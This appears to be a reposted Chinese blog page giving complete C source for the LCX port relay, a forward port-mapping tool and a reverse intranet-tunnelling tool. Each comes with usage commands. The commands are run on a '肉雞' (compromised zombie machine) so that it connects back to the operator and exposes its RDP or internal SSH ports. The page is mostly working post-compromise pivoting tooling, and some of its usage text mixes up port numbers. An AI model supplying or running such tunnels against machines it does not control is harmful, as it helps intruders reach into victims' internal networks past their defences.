		}
		if (FD_ISSET(fd2, &writefd))
		{
			int err = 0;
			sendcount1 = 0;
			while (totalread1>0)
			{
				send1 = send(fd2, send_out1 + sendcount1, totalread1, 0);
				if (send1 == 0)break;
				if ((send1<0) && (errno != EINTR))
				{
					printf("[-] Send to fd2 unknow error.\r\n");
					err = 1;
					break;
				}
				if ((send1<0) && (errno == ENOSPC)) break;
				sendcount1 += send1;
				totalread1 -= send1;
				printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);
			}
			if (err == 1) break;
			if ((totalread1>0) && (sendcount1>0))
			{
				/* move not sended data to start addr */
				memcpy(send_out1, send_out1 + sendcount1, totalread1);
				memset(send_out1 + totalread1, 0, MAXSIZE - totalread1);
			}
			else
				memset(send_out1, 0, MAXSIZE);
		}
		if (FD_ISSET(fd2, &readfd))
		{
			if (totalread2 < MAXSIZE) {
				read2 = recv(fd2, read_in2, MAXSIZE - totalread2, 0);
				if (read2 == 0)break;
				if ((read2<0) && (errno != EINTR))
				{
					printf("[-] Read fd2 data error,maybe close?\r\n\r\n");
					break;
				}
				memcpy(send_out2 + totalread2, read_in2, read2);
				sprintf_s(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);
				printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);
				makelog(tmpbuf, strlen(tmpbuf));
				makelog(read_in2, read2);
				totalread2 += read2;
				memset(read_in2, 0, MAXSIZE);
			}
		}
		if (FD_ISSET(fd1, &writefd))
		{
			int err2 = 0;
			sendcount2 = 0;
			while (totalread2>0)
			{
				send2 = send(fd1, send_out2 + sendcount2, totalread2, 0);
				if (send2 == 0)break;
				if ((send2<0) && (errno != EINTR))
				{
					printf("[-] Send to fd1 unknow error.\r\n");
					err2 = 1;
					break;
				}
				if ((send2<0) && (errno == ENOSPC)) break;
				sendcount2 += send2;
				totalread2 -= send2;
				printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);
			}
			if (err2 == 1) break;
			if ((totalread2>0) && (sendcount2 > 0))
			{
				/* move not sended data to start addr */
				memcpy(send_out2, send_out2 + sendcount2, totalread2);
				memset(send_out2 + totalread2, 0, MAXSIZE - totalread2);
			}
			else
				memset(send_out2, 0, MAXSIZE);
		}
		Sleep(5);
	}
	closesocket(fd1);
	closesocket(fd2);
	// if(method == 3)
	// connectnum --;
	printf("\r\n[+] OK! I Closed The Two Socket.\r\n");
}
void getctrlc(int j)
{
	printf("\r\n[-] Received Ctrl+C\r\n");
	closeallfd();
	exit(0);
}
void closeallfd()
{
	int i;
	printf("[+] Let me exit ......\r\n");
	fflush(stdout);
	for (i = 3; i<256; i++)
	{
		closesocket(i);
	}
	if (fp != NULL)
	{
		fprintf(fp, "\r\n====== Exit ======\r\n");
		fclose(fp);
	}
	printf("[+] All Right!\r\n");
}
int create_socket()
{
	int sockfd;
	sockfd = socket(AF_INET, SOCK_STREAM, 0);
	if (sockfd<0)
	{
		printf("[-] Create socket error.\r\n");
		return(0);
	}
	return(sockfd);
}
int create_server(int sockfd, int port)
{
	struct sockaddr_in srvaddr;
	int on = 1;
	memset(&srvaddr, 0, sizeof(struct sockaddr));
	srvaddr.sin_port = htons(port);
	srvaddr.sin_family = AF_INET;
	srvaddr.sin_addr.s_addr = htonl(INADDR_ANY);
	setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char*)&on, sizeof(on)); //so I can rebind the port
	if (bind(sockfd, (struct sockaddr *)&srvaddr, sizeof(struct sockaddr))<0)
	{
		printf("[-] Socket bind error.\r\n");
		return(0);
	}
	if (listen(sockfd, CONNECTNUM)<0)
	{
		printf("[-] Socket Listen error.\r\n");
		return(0);
	}
	return(1);
}
int client_connect(int sockfd, char* server, int port)
{
	struct sockaddr_in cliaddr;
	struct hostent *host;
	if (!(host = gethostbyname(server)))
	{
		printf("[-] Gethostbyname(%s) error:%s\n", server, strerror(errno));
		return(0);
	}
	memset(&cliaddr, 0, sizeof(struct sockaddr));
	cliaddr.sin_family = AF_INET;
	cliaddr.sin_port = htons(port);
	cliaddr.sin_addr = *((struct in_addr *)host->h_addr);
	if (connect(sockfd, (struct sockaddr *)&cliaddr, sizeof(struct sockaddr))<0)
	{
		printf("[-] Connect error.\r\n");
		return(0);
	}
	return(1);
}
void makelog(char *buffer, int length)
{
	if (fp != NULL)
	{
		_write(_fileno(fp), buffer, length);
	}
}

上方的LCX源代碼可以使用Visual Studio編譯器編譯出來,使用方法如下:

本機IP: 192.168.1.2
肉雞IP: 192.168.1.10

首先在本機執行命令 lcx –listen 999 2389 意思是偵聽本機端口999等待肉雞的鏈接,當肉雞連接后,將流量轉發到本機的2389端口上。

接着在肉雞上運行lcx.exe -slave 192.168.1.2 999 192.168.1.10 3389 意思是將192.168.1.103389端口映射到192.168.1.2下的9999端口上。

映射完成后,我們可以訪問本機的IP地址加上映射的2389口,這樣就相當於訪問到了192.168.1.2的3389口。



自用版 正向映射工具
VC6 或以上版本,編譯即可
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define MAXBUFSIZE 8192

struct SOCKINFO
{
	SOCKET ClientSock;
	SOCKET ServerSock;
};

struct ADDRESS
{
	char szIP[32];
	WORD wPort;
	SOCKET s;
};

template<typename T>
class STACK
{
#define MAXSTACK 1024*2
private:
	int top;
	T Data[MAXSTACK];
public:
	STACK() { top = -1; }
	bool IsEmpty() { return top < 0; }
	bool IsFull() { return top >= MAXSTACK; }
	bool Push(T data)
	{
		if (IsFull())
			return false;
		top++;
		Data[top] = data;
		return true;
	}
	T Pop() { return Data[top--]; }
};

template<typename X, typename Y>
class TransferParam
{
public:
	X GlobalData;
	STACK<Y> LocalData;
public:
	TransferParam();
	bool Push(Y data);
	Y Pop();
};
template<typename X, typename Y>
TransferParam<X, Y>::TransferParam() { memset(this, 0, sizeof(TransferParam)); }

template<typename X, typename Y>
bool TransferParam<X, Y>::Push(Y data) { return LocalData.Push(data); }

template<typename X, typename Y>
Y TransferParam<X, Y>::Pop() { return LocalData.Pop(data); }

// 將DataBuf中的DataLen個字節發到套接字s上面
int DataSend(SOCKET s, char *DataBuf, int DataLen)
{
	int nBytesLeft = DataLen;
	int nBytesSent = 0;
	int ret;
	int iMode = 0;
	ioctlsocket(s, FIONBIO, (u_long FAR*) &iMode);
	while (nBytesLeft > 0)
	{
		ret = send(s, DataBuf + nBytesSent, nBytesLeft, 0);
		printf("Send --> 發送數據長度: %d bytes \n", strlen(DataBuf));
		if (ret <= 0)
			break;
		nBytesSent += ret;
		nBytesLeft -= ret;
	}
	return nBytesSent;
}

// 線程函數在兩個SOCKET中進行數據轉發
DWORD WINAPI TransmitData(LPVOID lParam)
{
	SOCKINFO socks = *((SOCKINFO*)lParam);
	SOCKET ClientSock = socks.ClientSock;
	SOCKET ServerSock = socks.ServerSock;
	char RecvBuf[MAXBUFSIZE] = { 0 };
	fd_set Fd_Read;
	int ret, nRecv;
	while (1)
	{
		FD_ZERO(&Fd_Read);
		FD_SET(ClientSock, &Fd_Read);
		FD_SET(ServerSock, &Fd_Read);
		ret = select(0, &Fd_Read, NULL, NULL, NULL);
		if (ret <= 0)
			goto error;
		if (FD_ISSET(ClientSock, &Fd_Read))
		{
			nRecv = recv(ClientSock, RecvBuf, sizeof(RecvBuf), 0);
			printf("Recv --> 接收數據長度: %d bytes \n", strlen(RecvBuf));
			if (nRecv <= 0)
				goto error;
			ret = DataSend(ServerSock, RecvBuf, nRecv);
			if (ret == 0 || ret != nRecv)
				goto error;
		}
		if (FD_ISSET(ServerSock, &Fd_Read))
		{
			nRecv = recv(ServerSock, RecvBuf, sizeof(RecvBuf), 0);
			printf("Recv --> 接收數據長度: %d bytes \n", strlen(RecvBuf));
			if (nRecv <= 0)
				goto error;
			ret = DataSend(ClientSock, RecvBuf, nRecv);
			if (ret == 0 || ret != nRecv)
				goto error;
		}
	}
error:
	closesocket(ClientSock);
	closesocket(ServerSock);
	return 0;
}

// 封裝過的連接指定的IP和端口
SOCKET ConnectHost(char* szIP, WORD wPort)
{
	SOCKET sockid;
	if ((sockid = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
		return 0;
	struct sockaddr_in srv_addr;
	srv_addr.sin_family = AF_INET;
	srv_addr.sin_addr.S_un.S_addr = inet_addr(szIP);
	srv_addr.sin_port = htons(wPort);
	if (connect(sockid, (struct sockaddr*)&srv_addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
		return 0;
	return sockid;
}

// 在dwIP上綁定wPort端口
SOCKET CreateSocket(DWORD dwIP, WORD wPort)
{
	SOCKET sockid;
	if ((sockid = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
		return 0;
	struct sockaddr_in srv_addr = { 0 };
	srv_addr.sin_family = AF_INET;
	srv_addr.sin_addr.S_un.S_addr = dwIP;
	srv_addr.sin_port = htons(wPort);
	if (bind(sockid, (struct sockaddr*)&srv_addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
	{
		closesocket(sockid);
		return 0;
	}
	listen(sockid, 3);
	return sockid;
}

// 執行端口映射函數
DWORD WINAPI PortTransfer(LPVOID lParam)
{
	TransferParam<ADDRESS, SOCKET> *ConfigInfo = (TransferParam<ADDRESS, SOCKET>*)lParam;
	SOCKET ClientSock, ServerSock;
	//出棧,獲得客戶的套接字
	ClientSock = ConfigInfo->LocalData.Pop();
	//先連接到目標計算機的服務
	ServerSock = ConnectHost(ConfigInfo->GlobalData.szIP, ConfigInfo->GlobalData.wPort);
	if (ServerSock <= 0)
	{
		closesocket(ClientSock);
		return 0;
	}

	SOCKINFO socks;
	socks.ClientSock = ClientSock;       // 客戶的套接字
	socks.ServerSock = ServerSock;       // 目標計算機服務的套接字
	return TransmitData((LPVOID)&socks); // 進入數據轉發狀態
}

int main(int argc, char *argv[])
{
	WSADATA wsadata;
	if (!WSAStartup(MAKEWORD(2, 2), &wsadata) == 0)
		return 0;

	if (argc == 4)
	{
		// 通過命令行接收三個參數
		WORD ListenPort = atoi(argv[1]);
		char *szIP = argv[2];
		WORD wPort = atoi(argv[3]);
			
		// 執行映射函數
		HANDLE hThread;
		SOCKET AcceptSocket;
		TransferParam<ADDRESS, SOCKET> ConfigInfo;
		_snprintf(ConfigInfo.GlobalData.szIP, 32, "%s", szIP);
		ConfigInfo.GlobalData.wPort = wPort;

		// 監聽個服務端口,即映射端口
		SOCKET localsockid = CreateSocket(INADDR_ANY, ListenPort);
		if (localsockid <= 0)
		{
			closesocket(localsockid);
			return 0;
		}
		while (1)
		{
			AcceptSocket = accept(localsockid, NULL, NULL);
			if (AcceptSocket == INVALID_SOCKET)
			{
				closesocket(localsockid);
				return 0;
			}
			// 將接受到的客戶請求套接字轉到新的線程里處理
			ConfigInfo.LocalData.Push(AcceptSocket);
			hThread = CreateThread(0, 0, PortTransfer, (LPVOID)&ConfigInfo, 0,0);
			CloseHandle(hThread);
		}
	}
	WSACleanup();
	return 0;
}

使用方法:傳入參數main.exe 9999 192.168.1.10 22意思是將本機的9999端口轉發到192.168.1.10的22端口.

當我們訪問本機的9999端口,會自動的將請求轉發到192.168.1.10上面的22端口上去,可以支持SSH穿透。




自用版 內網穿透工具
內網穿透代碼
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define MAXBUFSIZE 8192

struct SOCKINFO
{
	SOCKET ClientSock;
	SOCKET ServerSock;
};

struct ADDRESS
{
	char szIP[32];
	WORD wPort;
	SOCKET s;
};

template<typename T>
class STACK
{
#define MAXSTACK 1024*2
private:
	int top;
	T Data[MAXSTACK];
public:
	STACK() { top = -1; }
	bool IsEmpty() { return top < 0; }
	bool IsFull() { return top >= MAXSTACK; }
	bool Push(T data)
	{
		if (IsFull())
			return false;
		top++;
		Data[top] = data;
		return true;
	}
	T Pop() { return Data[top--]; }
};

template<typename X, typename Y>
class TransferParam
{
public:
	X GlobalData;
	STACK<Y> LocalData;
public:
	TransferParam();
	bool Push(Y data);
	Y Pop();
};
template<typename X, typename Y>
TransferParam<X, Y>::TransferParam() { memset(this, 0, sizeof(TransferParam)); }

template<typename X, typename Y>
bool TransferParam<X, Y>::Push(Y data) { return LocalData.Push(data); }

template<typename X, typename Y>
Y TransferParam<X, Y>::Pop() { return LocalData.Pop(data); }

int DataSend(SOCKET s, char *DataBuf, int DataLen)
{
	int nBytesLeft = DataLen;
	int nBytesSent = 0;
	int ret;
	int iMode = 0;
	ioctlsocket(s, FIONBIO, (u_long FAR*) &iMode);
	while (nBytesLeft > 0)
	{
		ret = send(s, DataBuf + nBytesSent, nBytesLeft, 0);
		if (ret <= 0)
			break;
		nBytesSent += ret;
		nBytesLeft -= ret;
	}
	return nBytesSent;
}

DWORD WINAPI TransmitData(LPVOID lParam)
{
	SOCKINFO socks = *((SOCKINFO*)lParam);
	SOCKET ClientSock = socks.ClientSock;
	SOCKET ServerSock = socks.ServerSock;
	char RecvBuf[MAXBUFSIZE] = { 0 };
	fd_set Fd_Read;
	int ret, nRecv;
	while (1)
	{
		FD_ZERO(&Fd_Read);
		FD_SET(ClientSock, &Fd_Read);
		FD_SET(ServerSock, &Fd_Read);
		ret = select(0, &Fd_Read, NULL, NULL, NULL);
		if (ret <= 0)
			goto error;
		if (FD_ISSET(ClientSock, &Fd_Read))
		{
			nRecv = recv(ClientSock, RecvBuf, sizeof(RecvBuf), 0);
			if (nRecv <= 0)
				goto error;
			ret = DataSend(ServerSock, RecvBuf, nRecv);
			if (ret == 0 || ret != nRecv)
				goto error;
		}
		if (FD_ISSET(ServerSock, &Fd_Read))
		{
			nRecv = recv(ServerSock, RecvBuf, sizeof(RecvBuf), 0);
			if (nRecv <= 0)
				goto error;
			ret = DataSend(ClientSock, RecvBuf, nRecv);
			if (ret == 0 || ret != nRecv)
				goto error;
		}
	}
error:
	closesocket(ClientSock);
	closesocket(ServerSock);
	return 0;
}

SOCKET ConnectHost(DWORD dwIP, WORD wPort)
{
	SOCKET sockid;
	if ((sockid = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
		return 0;
	struct sockaddr_in srv_addr;
	srv_addr.sin_family = AF_INET;
	srv_addr.sin_addr.S_un.S_addr = dwIP;
	srv_addr.sin_port = htons(wPort);
	if (connect(sockid, (struct sockaddr*)&srv_addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
		goto error;
	return sockid;
error:
	closesocket(sockid);
	return 0;
}

SOCKET ConnectHost(char *szIP, WORD wPort)
{
	return ConnectHost(inet_addr(szIP), wPort);
}

SOCKET CreateSocket(DWORD dwIP, WORD wPort)
{
	SOCKET sockid;
	if ((sockid = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
		return 0;
	struct sockaddr_in srv_addr = { 0 };
	srv_addr.sin_family = AF_INET;
	srv_addr.sin_addr.S_un.S_addr = dwIP;
	srv_addr.sin_port = htons(wPort);
	if (bind(sockid, (struct sockaddr*)&srv_addr, sizeof(struct sockaddr_in)) == SOCKET_ERROR)
		goto error;
	listen(sockid, 3);
	return sockid;
error:
	closesocket(sockid);
	return 0;
}

SOCKET CreateTmpSocket(WORD *wPort)
{
	struct sockaddr_in srv_addr = { 0 };
	int addrlen = sizeof(struct sockaddr_in);
	SOCKET s = CreateSocket(INADDR_ANY, 0);
	if (s <= 0)
		goto error;
	if (getsockname(s, (struct sockaddr*)&srv_addr, &addrlen) == SOCKET_ERROR)
		goto error;
	*wPort = ntohs(srv_addr.sin_port);
	return s;
error:
	closesocket(s);
	return 0;
}

DWORD WINAPI PortTransfer_Client(LPVOID lParam)
{
	TransferParam<ADDRESS, WORD> *ConfigInfo = (TransferParam<ADDRESS, WORD> *)lParam;
	SOCKET CtrlSocket = ConfigInfo->GlobalData.s;
	DWORD dwCtrlIP;
	SOCKADDR_IN clientaddr;
	int addrlen = sizeof(clientaddr);
	if (getpeername(CtrlSocket, (SOCKADDR *)&clientaddr, &addrlen) == SOCKET_ERROR)
		return 0;
	dwCtrlIP = clientaddr.sin_addr.S_un.S_addr;
	//wPort = ntohs(clientaddr.sin_port);
	SOCKET ClientSocket, ServerSocket;
	SOCKINFO socks;
	ClientSocket = ConnectHost(dwCtrlIP, ConfigInfo->LocalData.Pop());
	if (ClientSocket <= 0)
		return 0;
	ServerSocket = ConnectHost(ConfigInfo->GlobalData.szIP, ConfigInfo->GlobalData.wPort);
	if (ServerSocket <= 0)
	{
		closesocket(ClientSocket);
		return 0;
	}
	socks.ClientSock = ClientSocket;
	socks.ServerSock = ServerSocket;
	return TransmitData((LPVOID)&socks);
}

BOOL PortTransfer_Client(char *szCtrlIP, WORD wCtrlPort, char *szIP, WORD wPort)
{
	int nRecv;
	WORD ReqPort;
	HANDLE hThread;
	DWORD dwThreadId;
	TransferParam<ADDRESS, WORD> ConfigInfo;
	_snprintf(ConfigInfo.GlobalData.szIP, 32, "%s", szIP);
	ConfigInfo.GlobalData.wPort = wPort;
	SOCKET CtrlSocket = ConnectHost(szCtrlIP, wCtrlPort);
	if (CtrlSocket <= 0)
		goto error;
	ConfigInfo.GlobalData.s = CtrlSocket;
	while (1)
	{
		nRecv = recv(CtrlSocket, (char*)&ReqPort, sizeof(ReqPort), 0);
		if (nRecv <= 0)
			goto error;
		ConfigInfo.LocalData.Push(ReqPort);
		hThread = CreateThread(NULL, 0, PortTransfer_Client, (LPVOID)&ConfigInfo, NULL, &dwThreadId);
		if (hThread)
			CloseHandle(hThread);
		else
			Sleep(1000);
	}
error:
	closesocket(CtrlSocket);
	return false;
}

DWORD WINAPI PortTransfer_Server(LPVOID lParam)
{
	SOCKINFO socks;
	SOCKET ClientSocket, ServerSocket, CtrlSocket, tmpSocket;
	TransferParam<SOCKET, SOCKET> *ConfigInfo = (TransferParam<SOCKET, SOCKET>*)lParam;
	CtrlSocket = ConfigInfo->GlobalData;
	ClientSocket = ConfigInfo->LocalData.Pop();
	WORD wPort;
	tmpSocket = CreateTmpSocket(&wPort);
	if (tmpSocket <= 0 || wPort <= 0)
	{
		closesocket(ClientSocket);
		return 0;
	}
	if (send(CtrlSocket, (char*)&wPort, sizeof(wPort), 0) == SOCKET_ERROR)
	{
		closesocket(ClientSocket);
		closesocket(CtrlSocket);
		return 0;
	}
	ServerSocket = accept(tmpSocket, NULL, NULL);
	if (ServerSocket == INVALID_SOCKET)
	{
		closesocket(ClientSocket);
		return 0;
	}
	socks.ClientSock = ClientSocket;
	socks.ServerSock = ServerSocket;
	return TransmitData((LPVOID)&socks);
}

BOOL PortTransfer_Server(WORD wCtrlPort, WORD wServerPort)//監聽的兩個端口
{
	HANDLE hThread;
	BOOL bOptVal = TRUE;
	int bOptLen = sizeof(BOOL);
	TransferParam<SOCKET, SOCKET> ConfigInfo;
	SOCKET ctrlsockid, serversockid, CtrlSocket, AcceptSocket;
	ctrlsockid = CreateSocket(INADDR_ANY, wCtrlPort);//創建套接字
	if (ctrlsockid <= 0)
		goto error2;
	serversockid = CreateSocket(INADDR_ANY, wServerPort);//創建套接字
	if (serversockid <= 0)
		goto error1;
	CtrlSocket = accept(ctrlsockid, NULL, NULL);
	if (CtrlSocket == INVALID_SOCKET)
		goto error0;
	if (setsockopt(CtrlSocket, SOL_SOCKET, SO_KEEPALIVE, (char*)&bOptVal, bOptLen) == SOCKET_ERROR) {
		goto error0;
	}
	ConfigInfo.GlobalData = CtrlSocket;
	while (1)
	{
		AcceptSocket = accept(serversockid, NULL, NULL);
		if (AcceptSocket == INVALID_SOCKET)
		{
			Sleep(1000);
			continue;
		}
		ConfigInfo.LocalData.Push(AcceptSocket);
		hThread = CreateThread(NULL, 0, PortTransfer_Server, (LPVOID)&ConfigInfo, 0, 0);
		CloseHandle(hThread);
	}
error0:
	closesocket(CtrlSocket);
error1:
	closesocket(serversockid);
error2:
	closesocket(ctrlsockid);
	return false;
}

int main(int argc, char *argv[])
{
	WSADATA wsadata;
	if (!WSAStartup(MAKEWORD(2, 2), &wsadata) == 0)
		return 0;
	if (argc == 3)
		PortTransfer_Server(atoi(argv[1]), atoi(argv[2]));
	else if (argc == 5)
		PortTransfer_Client(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]));

	WSACleanup();
	return 0;
}

與正向類似,這個是反向映射,目的是客戶端主動連接服務端完成數據映射,客戶端服務端寫在了一起.

意思是將本機的8888端口開啟偵聽,當有肉雞上線后鏈接9999端口相當於訪問肉雞。

本機執行:main.exe 8888 9999

肉雞執行命令,意思是主動連接 192.168.1.2 8888 連接后,將用戶訪問請求轉發至 192.168.1.20 22

肉雞執行:main.exe 192.168.1.2 8888 192.168.1.20 22


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM